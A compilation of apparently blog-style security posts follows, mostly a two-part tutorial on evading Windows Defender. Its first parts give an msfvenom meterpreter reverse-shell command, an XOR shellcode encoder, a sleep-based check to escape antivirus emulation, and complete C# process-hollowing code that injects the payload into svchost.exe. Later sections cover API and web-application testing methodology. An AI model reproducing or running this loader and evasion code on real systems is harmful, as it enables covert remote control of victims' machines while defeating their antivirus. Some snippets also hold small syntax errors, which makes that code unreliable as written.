Unleashing the Power of In-Memory Code Injection Part-II .

In the previous post, we were able to inject our milicous code into a process that normally performs network traffic. although this technique may evade some detection methods, our reverse shell still detectable.
First, let’s explore the most common security solutions.

Security Solution Functionality Purpose Detection Prevention Scope
AV (Antivirus) Antivirus software is a fundamental cybersecurity tool that primarily targets malware, including viruses, worms, Trojans, and other types of malicious software AV scans files, programs, and the system for known malware signatures and suspicious behavior that may indicate the presence of malware. It relies on signature-based detection for known threats and may use heuristics and behavior analysis for identifying new or unknown malware. When a malware threat is detected, the antivirus software will quarantine or remove the malicious files to prevent the infection from spreading. AV is typically installed on endpoints and sometimes on servers, providing continuous protection against various types of malware threats.
EDR (Endpoint Detection and Response) EDR is focused on endpoint security, which means it is installed on individual devices (endpoints) such as laptops, desktops, servers, or mobile devices. EDR monitors endpoint activities in real-time and collects detailed information about the system, user behavior, and network connections. It uses advanced techniques like behavior analysis, machine learning, and threat intelligence to detect and respond to suspicious or malicious activities on endpoints. EDR can take proactive actions such as quarantining, blocking, or remediating threats on the endpoints to prevent the spread of attacks. EDR is more focused on post-breach detection and response, providing visibility into ongoing threats and facilitating incident response.
IPS (Intrusion Prevention System) IPS is a network security tool designed to monitor and protect the entire network infrastructure. It inspects network traffic in real-time, looking for known signatures of malicious activities or anomalies that might indicate potential threats. IPS uses signature-based detection and anomaly-based detection to identify and block malicious traffic, such as malware, exploits, and unauthorized access attempts. When a threat is detected, IPS can actively block the malicious traffic, preventing it from reaching its target and effectively stopping attacks in real-time. IPS is focused on real-time prevention and is a crucial component of network security, helping to protect against various external threats.
IDS (Intrusion Detection System) IDS is also a network security tool that monitors network traffic like an IPS, but its primary function is to detect and alert administrators about potential security breaches. IDS analyzes network packets, looking for suspicious patterns or known attack signatures. When it identifies potentially malicious activities, it generates alerts or logs that are sent to security administrators for further investigation and response. Unlike IPS, IDS does not actively prevent or block threats. Its role is to provide early warning and situational awareness to security teams. IDS is more focused on passive monitoring and alerting, allowing security professionals to take appropriate actions based on the information it provides.

In this post we will focus on bypassing AV, Specifically windows defender.

Windows Defender, is an antivirus and anti-malware software designed to protect your computer from various threats, including viruses, malware, ransomware, and other malicious software. It employs several techniques for detection and heuristics to identify and mitigate these threats. Windows defender realy on AMSI in inspecting and analyzing scripts and code in memory, including fileless malware, before it is executed.

1. Antivirus Detection Overview:

Antivirus solutions primarily rely on two detection methods:

  • Signature-Based Detection: Antivirus vendors use both automated processes and manual reverse-engineering to create signatures of known malware. These signatures are stored in vast databases and are used to identify files that match known malicious hashes or byte sequences, promptly flagging them as threats.

  • Heuristics or Behavioral Analysis: Heuristics-based analysis simulates the execution of files within a controlled environment to detect suspicious behavior. By observing the actions of a scanned file in a sandboxed setting, heuristics can identify potential malware based on known malicious patterns.

1.1 Bypassing Antivirus Signature Detection

  • One of the fundamental ways to bypass antivirus signature detection is to write custom code. By creating your own custom code, we can avoid detection based on known signatures. Moreover, when dealing with shellcode injection, employing custom encryption and decryption becomes crucial to evade antivirus scrutiny effectively.

1.2 Bypassing Antivirus Heuristic Detection:

  • Time Delay Bypass Techniques: When an application runs in a emulator and encounters a pause or sleep instruction, the heuristics engine fast-forwards through the delay to accelerate the scanning process and avoid unnecessary wait times.

  • Non-Emulated APIs: Antivirus emulator engines simulate the execution of common executable file formats and functions, leaving room for evasion by utilizing non-emulated APIs. Attackers can test various APIs against the antivirus engine to identify those that are incorrectly emulated or not emulated at all.

2. Bypassing Windows defender - The practical part.

We need to bypass Windows Defender’s signature-based detection and behavioral analysis.

2.1 Bypassing signature based detection.

Even after crafting our custom code, process hollowing with c#, it still contains certain signatures recognized by antivirus solutions due to the meterpreter shell. Our aim in this blog is to encode the meterpreter shell to circumvent this issue. One of the simplest approaches to achieve this is by utilizing XOR.

First, generate your basic shell code using the command below.

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST={YOUR-IP-ADDRESS} LPORT={YOUR LISTENING PORT} EXITFUNC=thread -f csharp

Second, use the following script to encode the shell

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace XOR_Encode
{
    internal class Program
    {
        public static void Main(string[] args)
        {
            byte[] buf = new byte[511] {0xfc,0x48,0x83,0xe4,0xf0,0xe8}; //Replace with your shellcode

            // Encode the payload with XOR (fixed key)
            byte[] encoded = new byte[buf.Length];
            for (int i = 0; i < buf.Length; i++)
            {
                encoded[i] = (byte)((uint)buf[i] ^ 0xda);
            }

            StringBuilder hex = new StringBuilder(encoded.Length * 2);
            int totalCount = encoded.Length;
            for (int count = 0; count < totalCount; count++)
            {
                byte b = encoded[count];
                if ((count + 1) == totalCount)
                {
                    hex.AppendFormat("0x{0:x2}", b);
                }
                else
                {
                    hex.AppendFormat("0x{0:x2},", b);
                }
                if ((count + 1) % 15 == 0)
                {
                    hex.Append("\n");
                }
            }
            Console.WriteLine($"XOR payload (key: 0xda):");
            Console.WriteLine($"byte[] shellcode = new byte[{buf.Length}] };");

        }
    }
}

Then, the decoding function need to be added to process hollowing script.

// Decode the XOR payload
            for (int i = 0; i < shellcode.Length; i++)
            {
                shellcode[i] = (byte)((uint)shellcode[i] ^ 0xda);
            }

2.1 Bypassing behaviour analysis.

As previously discussed, two methods can be utilized to accomplish this. The time delay technique is going to be employed in order to evade behavior analysis.

        // Time delay
        DateTime t1 = DateTime.Now;
        Sleep(10000);
        double deltaT = DateTime.Now.Subtract(t1).TotalSeconds;
        if (deltaT < 9.5)
        {
            return;
        }

Basically, we’ll implement a delay function at the start of the main function to check whether our code is running within an emulator. In emulator environments, when an app encounters a pause or sleep instruction, the heuristic engine accelerates through the delay, bypassing unnecessary wait times to expedite the scanning process.

This delay function will:

  • Capture the current system time and store it as ‘t1.’
  • Pause execution for a set period (e.g., 10 seconds in this case).
  • Capture the time again post-pause, subtracting ‘t1’ from it.
  • Verify if the subtraction result is less than 9.5 seconds (indicating fast-forwarding). If so, the main function exits, recognizing it’s in an emulator. If not, it proceeds assuming it’s not in an emulator and resumes execution.

To compile the project, target a 64-bit architecture to ensure compatibility with svchost.exe, a 64-bit process. This compiled code will run the shellcode within svchost.exe.

Now, our shellcode executes within a trusted process, communicating over the network, effectively evading Windows Defender detection. In an upcoming article, we’ll delve into loading our shellcode or other C# tools like rubeus or mimikatz remotely, leveraging Powershell reflection, enabling remote execution without touching the desk.

The Full Code for bypassing Windows Defender with all its features.

using System;
using System.Runtime.InteropServices;


namespace hollow
{
    public class Program
    {
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]
        struct STARTUPINFO
        {
            public Int32 cb;
            public IntPtr lpReserved;
            public IntPtr lpDesktop;
            public IntPtr lpTitle;
            public Int32 dwX;
            public Int32 dwY;
            public Int32 dwXSize;
            public Int32 dwYSize;
            public Int32 dwXCountChars;
            public Int32 dwYCountChars;
            public Int32 dwFillAttribute;
            public Int32 dwFlags;
            public Int16 wShowWindow;
            public Int16 cbReserved2;
            public IntPtr lpReserved2;
            public IntPtr hStdInput;
            public IntPtr hStdOutput;
            public IntPtr hStdError;
        }

        [StructLayout(LayoutKind.Sequential)]
        internal struct PROCESS_INFORMATION
        {
            public IntPtr hProcess;
            public IntPtr hThread;
            public int dwProcessId;
            public int dwThreadId;
        }

        [StructLayout(LayoutKind.Sequential)]
        internal struct PROCESS_BASIC_INFORMATION
        {
            public IntPtr Reserved1;
            public IntPtr PebAddress;
            public IntPtr Reserved2;
            public IntPtr Reserved3;
            public IntPtr UniquePid;
            public IntPtr MoreReserved;
        }

        [DllImport("kernel32.dll")]
        static extern void Sleep(uint dwMilliseconds);

        [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)]
        static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes,
            IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,
            [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);

        [DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)]
        private static extern int ZwQueryInformationProcess(IntPtr hProcess, int procInformationClass,
            ref PROCESS_BASIC_INFORMATION procInformation, uint ProcInfoLen, ref uint retlen);

        [DllImport("kernel32.dll", SetLastError = true)]
        static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [Out] byte[] lpBuffer,
            int dwSize, out IntPtr lpNumberOfbytesRW);

        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);

        [DllImport("kernel32.dll", SetLastError = true)]
        static extern uint ResumeThread(IntPtr hThread);

        public static void Main(string[] args)
        {
            // Time delay
            DateTime t1 = DateTime.Now;
            Sleep(10000);
            double deltaT = DateTime.Now.Subtract(t1).TotalSeconds;
            if (deltaT < 9.5)
            {
                return;
            }
            byte[] shellcode = new byte[511] {
0x26, 0x92, 0x59, 0x3e, 0x2a, 0x32, 0x16, 0xda,...
}; // Replace this with the payload generated from the xor encoding script
            STARTUPINFO StartInfo = new STARTUPINFO();
            PROCESS_INFORMATION ProcInfo = new PROCESS_INFORMATION();
            bool cResult = CreateProcess(null, "c:\\windows\\system32\\svchost.exe", IntPtr.Zero, IntPtr.Zero,
                false, 0x4, IntPtr.Zero, null, ref StartInfo, out ProcInfo);

            PROCESS_BASIC_INFORMATION BasicInfo = new PROCESS_BASIC_INFORMATION();
            uint tmp = 0;
            long qResult = ZwQueryInformationProcess(ProcInfo.hProcess, 0, ref BasicInfo, (uint)(IntPtr.Size * 6), ref tmp);
            IntPtr baseImageAddr = (IntPtr)((Int64)BasicInfo.PebAddress + 0x10);

            byte[] addrBuf = new byte[0x8];
            IntPtr bytesRW = new IntPtr();
            bool result = ReadProcessMemory(ProcInfo.hProcess, baseImageAddr, addrBuf, addrBuf.Length, out bytesRW);
            IntPtr executableAddress = (IntPtr)BitConverter.ToInt64(addrBuf, 0);


            byte[] data = new byte[0x200];
            result = ReadProcessMemory(ProcInfo.hProcess, executableAddress, data, data.Length, out bytesRW);
            uint e_lfanew_offset = BitConverter.ToUInt32(data, 0x3c);
            uint opthdr = e_lfanew_offset + 0x28;
            uint entrypoint_rva = BitConverter.ToUInt32(data, (int)opthdr);
            IntPtr addressOfEntryPoint = (IntPtr)((Int64)executableAddress + entrypoint_rva);

            // Decode the XOR payload
            for (int i = 0; i < shellcode.Length; i++)
            {
                shellcode[i] = (byte)((uint)shellcode[i] ^ 0xda);
            }

            result = WriteProcessMemory(ProcInfo.hProcess, addressOfEntryPoint, shellcode, shellcode.Length, out bytesRW);

            uint rResult = ResumeThread(ProcInfo.hThread);
        }
    }
}
Unleashing the Power of In-Memory Code Injection Part-I .

Our objective is to inject code into process such as svchost.exe, which typically generates network activity, in order to avoid detection.

However, svchost.exe processes run at the SYSTEM integrity level, making it impossible to inject code from a lower integrity level. To overcome this, the process hollowing technique is employed.

Info: Windows defines four integrity levels: low, medium, high, and system. Standard users receive medium, elevated users receive high. Processes you start and objects you create receive your integrity level (medium or high) or low if the executable file’s level is low; system services receive system integrity.

By injecting code into processes such as svchost.exe that generate network activity, the injected code can blend in with the legitimate process’s expected behavior. This makes it harder for security mechanisms to detect the malicious activity.

Steps to perform process hollowing:

  1. Create a new process and make it suspended to halt the process execution before it starts.
  2. Retrieve information about the created process (in our case svchost process).
  3. Extract the base address of the created process.
  4. Modify the memory of the suspended process by overwriting the in-memory content of the EntryPoint with the desired code or payload.
  5. Resume the execution of the process, allowing the modified code to run within the target process. The injected code now executes within the process without terminating it, enabling the desired actions or malicious activities to be carried out.

Delving into the Technical Nitty-Gritty:

Let’s take an example of implementing process hollowing in C#.

1: First we need to create a suspended process using the Win32 CreateProcess API.

Let’s import CreateProcess API and examine the required arguments.

[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)]
static extern bool CreateProcess(string lpApplicationName, string lpCommandLine,
IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles,
uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,
[In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION
lpProcessInformation);

The CreateProcess API accepts some arguments.

Argument Description
string lpApplicationName The name of the application
string lpCommandLine The full commandline to be executed: in our scenario we will set this the full path of svchost.exe C:\Windows\System32\svchost.exe
IntPtr lpProcessAttributes For security descriptor : we can set this to null to obtain the default descriptor
IntPtr lpThreadAttributes For security descriptor : we can set this to null to obtain the default descriptor
bool bInheritHandles To specify if any handles in our current process should be inherited by the new process: set this to false
uint dwCreationFlags This one is very important we need to set this to CREATE_SUSPENDED to create the process in a suspended state. we can achieve this using the numerical representation of CREATE_SUSPENDED, which is 0x4
IntPtr lpEnvironment To specify the environment variable settings to be use: set this to null
string lpCurrentDirectory We do not care about CurrentDirectory argument, so set this to null
STARTUPINFO lpStartupInfo We need to pass an object to specify how the new process should be configured
PROCESS_INFORMATION lpProcessInformation We need to pass an object to specify information about the new process, including the process ID and a handle to the process.

Info: The security descriptor defines who can access the object and what operations they can perform on it.

Let’s create the required structures for CreateProcess API (The structures are obtained from www.pinvoke.net)

[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]
struct STARTUPINFO
{
public Int32 cb;
public IntPtr lpReserved;
public IntPtr lpDesktop;
public IntPtr lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
internal struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}

Now, we can create the process as the following.

STARTUPINFO StartInfo = new STARTUPINFO(); // instantiating a STARTUPINFO object
PROCESS_INFORMATION ProcInfo = new PROCESS_INFORMATION(); //instantiating a PROCESS_INFORMATION object

// Everything is ready, we can now create the process as the following:
bool res = CreateProcessW(null, "C:\\Windows\\System32\\svchost.exe", IntPtr.Zero,
IntPtr.Zero, false, 0x4, IntPtr.Zero, null, ref StartInfo, out ProcInfo);

2: The next step involves locating the entry point of the created process by retrieving the PEB (Process Environment Block) through the ZwQueryInformationProcess API.

Info: The Process Environment Block (PEB) is a data structure in Windows operating systems that stores information related to a process’s environment and execution state. The address of the PEB is specific to each process and is located in the process’s address space.

Let’s import ZwQueryInformationProcess API and examine the required arguments.

[DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)]
private static extern int ZwQueryInformationProcess(IntPtr hProcess,
int procInformationClass, ref PROCESS_BASIC_INFORMATION procInformation,
uint ProcInfoLen, ref uint retlen);
Argument Description
IntPtr hProcess The process handle. We can obtain this from the PROCESS_INFORMATION structure we created
int procInformationClass Set this to ProcessBasicInformation with a numerical representation of “0”
ref PROCESS_BASIC_INFORMATION procInformation We need to pass an object to specify the process information.
uint ProcInfoLen The process information length (The size of the input structure)
ref uint retlen The size of the fetched data

We need to pass PROCESS_BASIC_INFORMATION object to ZwQueryInformationProcess API. Let’s create the required structure for ZwQueryInformationProcess API (The structure is obtained from www.pinvoke.net)

[StructLayout(LayoutKind.Sequential)]
internal struct PROCESS_BASIC_INFORMATION
{
public IntPtr Reserved1;
public IntPtr PebAddress;
public IntPtr Reserved2;
public IntPtr Reserved3;
public IntPtr UniquePid;
public IntPtr MoreReserved;
}

Now, we can execute ZwQueryInformationProcess and fetch the PEB.

PROCESS_BASIC_INFORMATION BasicInfo = new PROCESS_BASIC_INFORMATION();
uint tmp = 0;
IntPtr hProcess = ProcInfo.hProcess;
ZwQueryInformationProcess(hProcess, 0, ref BasicInfo, (uint)(IntPtr.Size * 6), ref tmp);
IntPtr ptrToImageBase = (IntPtr)((Int64)BasicInfo.PebAddress + 0x10);

After fetching the PEB address, we need to get the PE header and parse it to locate the process entry point.

Info: Portable Executable (PE) headers, are data structures within the executable files of Windows operating systems. These headers contain essential information about the executable file, allowing the operating system to properly load and execute the program. There are multiple main components of the PE headers the one we care about is IMAGE_NT_HEADERS which contains the entry point.

3: We will use ReadProcessMemory to fetch the address of the code base and parse the PE Header to get the entry point.

let’s import and examine the arguments required by ReadProcessMemory API.

[DllImport("kernel32.dll", SetLastError = true)]
static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,
[Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead);
Argument Description
IntPtr hProcess The process handle. We can obtain this from the PROCESS_INFORMATION structure we created
IntPtr lpBaseAddress The address to read from
[Out] byte[] lpBuffer A buffer to copy the content into
int dwSize The number of bytes to read
out IntPtr lpNumberOfBytesRead To contain the number of bytes actually read

The memory address takes up eight bytes in a 64-bit process, while it only uses four bytes in a 32-bit process

Now we can read the base code memory address using the following.

byte[] addrBuf = new byte[0x8];
IntPtr nRead = IntPtr.Zero;
ReadProcessMemory(hProcess, ptrToImageBase, addrBuf, addrBuf.Length, out nRead);
IntPtr svchostBase = (IntPtr)(BitConverter.ToInt64(addrBuf, 0));

The svchostBase contains the pointer to the base code address of svchost (the created process).

Next we need to parse this to get the entry point of the process. We will use ReadProcessMemory API again to read the PE header address and then calculate the process entry point.

Info: The PE header located at offset 0x3C and the memory address of the entry point located at (the address of PE Header which at offset 0x3C + 0x28 + the process base memory address). so we need to read the content of offset 0x3C.

We can achieve that using the following code:

byte[] data = new byte[0x200];
ReadProcessMemory(hProcess, svchostBase, data, data.Length, out nRead);
uint e_lfanew_offset = BitConverter.ToUInt32(data, 0x3C);
uint opthdr = e_lfanew_offset _+ 0x28;
uint entrypoint_rva = BitConverter.ToUInt32(data, (int)opthdr);
IntPtr addressOfEntryPoint = (IntPtr)(entrypoint_rva + (UInt64)svchostBase);

we have obtained the process entry point address, so let’s replace the process memory content with the desired shellcode.

4: We will use WriteProcessMemory API to replace the process memory content with the desired shellcode.

Let’s import and examine the arguments required by WriteProcessMemory.y API.

[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,
byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
Argument Description
IntPtr hProcess The process handle.
IntPtr lpBaseAddress The address to write to
byte[] lpBuffer The byte array containing the code that we want to write
Int32 nSize The size of the code to be copied
out IntPtr lpNumberOfBytesWritten To specify how much data was copied

First, create your simple shell code using the following command.

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST={YOUR-IP-ADDRESS} LPORT={YOUR LISTENING PORT} EXITFUNC=thread -f csharp

Now, we can write our shellcode into the created process memory using the following.

byte[] shellcode = new byte[511] {
0xac,0x65,0x93,,0xf2,0xe6...
};
WriteProcessMemory(hProcess, addressOfEntryPoint, shellcode, shellcode.Length, out nRead);

5: The code is then executed by calling ResumeThread to let the suspended thread continue its execution as shown below.

[DllImport("kernel32.dll", SetLastError = true)]
private static extern uint ResumeThread(IntPtr hThread);

ResumeThread only accepts one argument which is the handle of the thread. we can get this value from PROCESS_INFORMATION structure that we used while creating the process.

Now we can resume the process using the following

ResumeThread(ProcInfo.hThread);

After combining all the code, the project should be compiled for a 64-bit architecture since svchost.exe is a 64-bit process and the resulting compiled code will execute the shellcode within the svchost.exe process.

Note: While our shellcode executes within a trusted process that communicates over the network, it remains detectable. Further efforts are required to achieve full evasion of anti-virus measures. In our upcoming articles, we will delve into more techniques to enhance our ability to operate covertly and bypass security measures such as shellcode encryption, obfuscation, and antivirus emulator bypass.

The Full Code

using System;
using System.Runtime.InteropServices;

public class Program
{
    [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]
    struct STARTUPINFO
    {
        public Int32 cb;
        public IntPtr lpReserved;
        public IntPtr lpDesktop;
        public IntPtr lpTitle;
        public Int32 dwX;
        public Int32 dwY;
        public Int32 dwXSize;
        public Int32 dwYSize;
        public Int32 dwXCountChars;
        public Int32 dwYCountChars;
        public Int32 dwFillAttribute;
        public Int32 dwFlags;
        public Int16 wShowWindow;
        public Int16 cbReserved2;
        public IntPtr lpReserved2;
        public IntPtr hStdInput;
        public IntPtr hStdOutput;
        public IntPtr hStdError;
    }

    [StructLayout(LayoutKind.Sequential)]
    internal struct PROCESS_INFORMATION
    {
        public IntPtr hProcess;
        public IntPtr hThread;
        public int dwProcessId;
        public int dwThreadId;
    }

    [StructLayout(LayoutKind.Sequential)]
    internal struct PROCESS_BASIC_INFORMATION
    {
        public IntPtr Reserved1;
        public IntPtr PebAddress;
        public IntPtr Reserved2;
        public IntPtr Reserved3;
        public IntPtr UniquePid;
        public IntPtr MoreReserved;
    }

    [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)]
    static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes,
        IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,
        [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);

    [DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)]
    private static extern int ZwQueryInformationProcess(IntPtr hProcess, int procInformationClass,
        ref PROCESS_BASIC_INFORMATION procInformation, uint ProcInfoLen, ref uint retlen);

    [DllImport("kernel32.dll", SetLastError = true)]
    static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [Out] byte[] lpBuffer,
        int dwSize, out IntPtr lpNumberOfbytesRW);

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);

    [DllImport("kernel32.dll", SetLastError = true)]
    static extern uint ResumeThread(IntPtr hThread);

    public static void Main(string[] args)
    {
        byte[] shellcode = new byte[511] {
            0xac,0x65,0x93,,0xf2,0xe6...
            };
        STARTUPINFO StartInfo = new STARTUPINFO();
        PROCESS_INFORMATION ProcInfo = new PROCESS_INFORMATION();
        bool cResult = CreateProcess(null, "c:\\windows\\system32\\svchost.exe", IntPtr.Zero, IntPtr.Zero,
            false, 0x4, IntPtr.Zero, null, ref StartInfo, out ProcInfo);

        PROCESS_BASIC_INFORMATION BasicInfo = new PROCESS_BASIC_INFORMATION();
        uint tmp = 0;
        long qResult = ZwQueryInformationProcess(ProcInfo.hProcess, 0, ref BasicInfo, (uint)(IntPtr.Size * 6), ref tmp);
        IntPtr baseImageAddr = (IntPtr)((Int64)BasicInfo.PebAddress + 0x10);

        byte[] addrBuf = new byte[0x8];
        IntPtr bytesRW = new IntPtr();
        bool result = ReadProcessMemory(ProcInfo.hProcess, baseImageAddr, addrBuf, addrBuf.Length, out bytesRW);
        IntPtr executableAddress = (IntPtr)BitConverter.ToInt64(addrBuf, 0);


        byte[] data = new byte[0x200];
        result = ReadProcessMemory(ProcInfo.hProcess, executableAddress, data, data.Length, out bytesRW);
        uint e_lfanew_offset = BitConverter.ToUInt32(data, 0x3c);
        uint opthdr = e_lfanew_offset + 0x28;
        uint entrypoint_rva = BitConverter.ToUInt32(data, (int)opthdr);
        IntPtr addressOfEntryPoint = (IntPtr)((Int64)executableAddress + entrypoint_rva);


        result = WriteProcessMemory(ProcInfo.hProcess, addressOfEntryPoint, shellcode, shellcode.Length, out bytesRW);

        uint rResult = ResumeThread(ProcInfo.hThread);
    }
}

In this article, we are going to discuss a methodology that one could apply to test any kind of API. This included Analyzing the API, learning about the API, methodology to test API, and exploiting API. It also included techniques to list endpoints and exploit bugs on real production API.

1: Analyzing the API

First, we need to analyze the target API to know its structure and authentication mechanism. For example, we can find API endpoints like the following:

  • /api/v1/magazines.json
  • /api/v1/magazines/1234/articles.json

By analyzing this, we will have an idea about the structure of the API. In this example; we can list magazines by requesting /api/v1/magazines.json. Also, we can get articles that belongs to a specific magazine by the following request /api/v1/magazines/1234/articles.json.

By doing so, we will have an idea about the structure of the API and how we can formulate our requests to get a specific resource. Also, we need to know the Authentication mechanism of the API. Authentication types are the following:

A: Basic HTTP authentication

While making API requests, a header is added to the HTTP request called ‘Authorization’. This header has a value of the username and password separated by a colon (:) in base64 format. For Example;

  • Username » C0mmander

  • Password » testing

  • Base64 format of C0mmander:testing » QzBtbWFuZGVyOnRlc3Rpbmc=

Now, the header will be as shown below:

Authorization: Basic QzBtbWFuZGVyOnRlc3Rpbmc=

B: Access token

An access token is sent with the request which is verified by the API server, and thus, depending on its authenticity, the request is accepted or rejected. First, you need to obtain an access token by authorizing an application, and then use the access token to make API requests and act on behalf of you. That is the most common authentication method these days.

C: Cookies

A session cookie is used to verify the user and is created when a successful login is registered. This cookie should be replayed with every API request and based on this a cookie request is accepted or rejected.

2: Learning the API

A: Developer documentation

The documentation gives a great insight into any API. You can learn about API endpoints. By reading the documentation we can understand structure, data-types, permissions, and request methods that are accepted by the endpoint.

B: Understanding requests/responses

We need to make multiple requests with different HTTP methods to an endpoint and understand how it responds. For example: A GET request made to retrieve details about resource works fine. What about trying the DELETE method!! And so on. That can give us an error. We should make note of every single error. This will help understand the API and advanced exploitation at later stages.

C: Learning scopes

It is essential to learn the scopes offered by the API. Scopes are just permissions that are enforced on the application so that the application can access only authorized resources or information about an entity using the API.

D: Learning roles

Roles offered for specific functionality. For example, Facebook offers different types of roles for Pages managers as the following.

https://www.facebook.com/help/289207354498410

Sometimes many roles only work on the website while nothing has been implemented on the API to handle such roles. So, we can simply get an access_token with proper scopes and escalate privileges via the API.

3: Methodology to test API

A: Listing endpoints

We need to list the endpoints to be examined. For example, if you are targeting the user endpoint, we need to list all users’ relevant endpoints such as listing user information, updating user info, or deleting a user. Take notes for every request you do as the following:

  • GET /v1/{user-id}
  • POST /v1/{user-id}
  • DELETE /v1/{user-id}

Now we understanding the API and are ready to test these mentioned endpoints.

B: Trying different request methods

To test the endpoints, you need to fire different request methods (GET, POST, DELETE) and then observe how the API behaves. Note that, in developer documentation, accepted methods and requests may not be documented. Take notes on every request you do and the behavior of the server as the following:

4: Exploiting API

Now we know how to examine these APIs and list endpoints, we are in a perfect position to find some bugs by following these types of testing strategies.

A: Scope-based testing

This type of testing requires knowledge about scope (permissions) related to API.

EXAMPLE:

While examining the user endpoint, we came across that we need view_users and manage_users scopes (permissions) to view/add/edit/delete users. In this bug, we were able to discover that the DELETE method was missing a permission check of manage_users scope, so any user with just the view_users scope (permission) was able to delete users from the application.

B: Roles-based testing

Assuming that we have already studied page roles applied to our targeted API. We will find bugs using the information about roles implemented on a specific resource.

EXAMPLE:

While testing an Android app, we found a chat endpoint. Using this endpoint, an application was able to access the chat of a user. We have three roles:

  • Admin
  • Editor
  • Analyst

Via the website, the admin and the editor are allowed to access chat while the analyst didn’t have chat access. In this bug, analysts were able to escalate privileges to delete chat using their access tokens generated from the android app.

C: Insecure Direct Object Reference testing

Insecure direct object references (IDOR) are a type of access control vulnerability that arises when an application uses user-supplied input to access objects directly (portswigger.net).

EXAMPLE:

We came across an endpoint that we can use to view other companies’ files. Let’s assume that the endpoint is the following:

  • GET /v1/files/{file-id}

By changing the file-id to another file-id that belongs to another company, we were able to access files of other companies. While testing for IDORs, you have to forget all the scopes and roles for the given API and try to test endpoints freely.

Final Note

Those are just a few strategies that you can apply during any API security testing. Also, we have discussed scenarios in access token-based API, but you can use the same concepts and same ideas to find bugs in other APIs designs or any other custom designed API.

RATHER BE THE HUNTER THAN THE PREY - Part || .

Test Client-Side Controls

1: Data Via the Client

1.1: Locate all instances within the application where hidden form fields, cookies, and URL parameters are apparently being used to transmit data via the client.

1.2: Attempt to determine the purpose that the item plays in the application’s logic, based on the context in which it appears and on its name and value.

1.3: Modify the item’s value in ways that are relevant to its role in the application’s functionality.

2: Test Client-Side Controls

2.1: Identify any cases where client-side controls such as length limits and JavaScript checks are used to validate user input before it is submitted to the server. These controls can be bypassed easily, because you can send arbitrary requests to the server. For example: <form action=”bal7.asp” onsubmit=”return Validate(this)”> <input maxlength=”6” name=”bal7a”>

2.2: Test each affected input field in turn by submitting input that would ordinarily be blocked by the client-side controls to verify whether these are replicated on the server.

2.3: The ability to bypass client-side validation does not necessarily represent any vulnerability. Nevertheless, you should review closely what validation is being performed.

2.4: Review each HTML form to identify any disabled elements. For example:

	<input disabled=”true” name=”bal7”>

If you find any, submit these to the server, along with the form’s other parameters. See whether the parameter has any effect on the server’s processing that you can leverage in an attack

2.5: Identify any applets employed by the application. Look for any of the following file types being requested via your intercepting proxy:

.class, .jar : Java .swf : Flash .xap : Silverlight

You can also look for applet tags within the HTML source code of application pages. For example:

	<applet code=”input.class” id=”TheBal7” codebase=”/scripts/”></applet>

2.6: Download the applet bytecode by entering the URL into your browser, and use a suitable tool to decompile the bytecode into source code

2.7: Understand what processing is being performed and determine whether the applet contains any public methods that can be used to perform the relevant obfuscation on arbitrary input.

In the next part we are going to discuss Testing Authentication Mechanism.

RATHER BE THE HUNTER THAN THE PREY - Part | .

Hello everyone, in this series we are going to discuss step-by-step methodology you can follow when attacking a web application. The methodology is presented as a sequence of tasks that are organized and ordered according to the logical interdependencies between them. Information gathered in one stage may enable you to return to an earlier stage and formulate more focused attacks. For example, an access control bug that enables you to obtain a listing of all users may enable you perform a more effective password-guessing attack against the authentication function or a file disclosure vulnerability may enable to you perform a code review of key application functions rather than probing them in a solely black-box manner.

Map the application content

1: Explore visible content

1.1: Configure your browser to use your favorite proxy tool. I used to use Burp Suite to monitor and parse web content.

1.2: Browse the entire application in the normal way, visiting every link and URL, submitting every form, and proceeding through all multistep functions to completion. If the application uses authentication, and you have or can create a login account, use this to access the protected functionality.

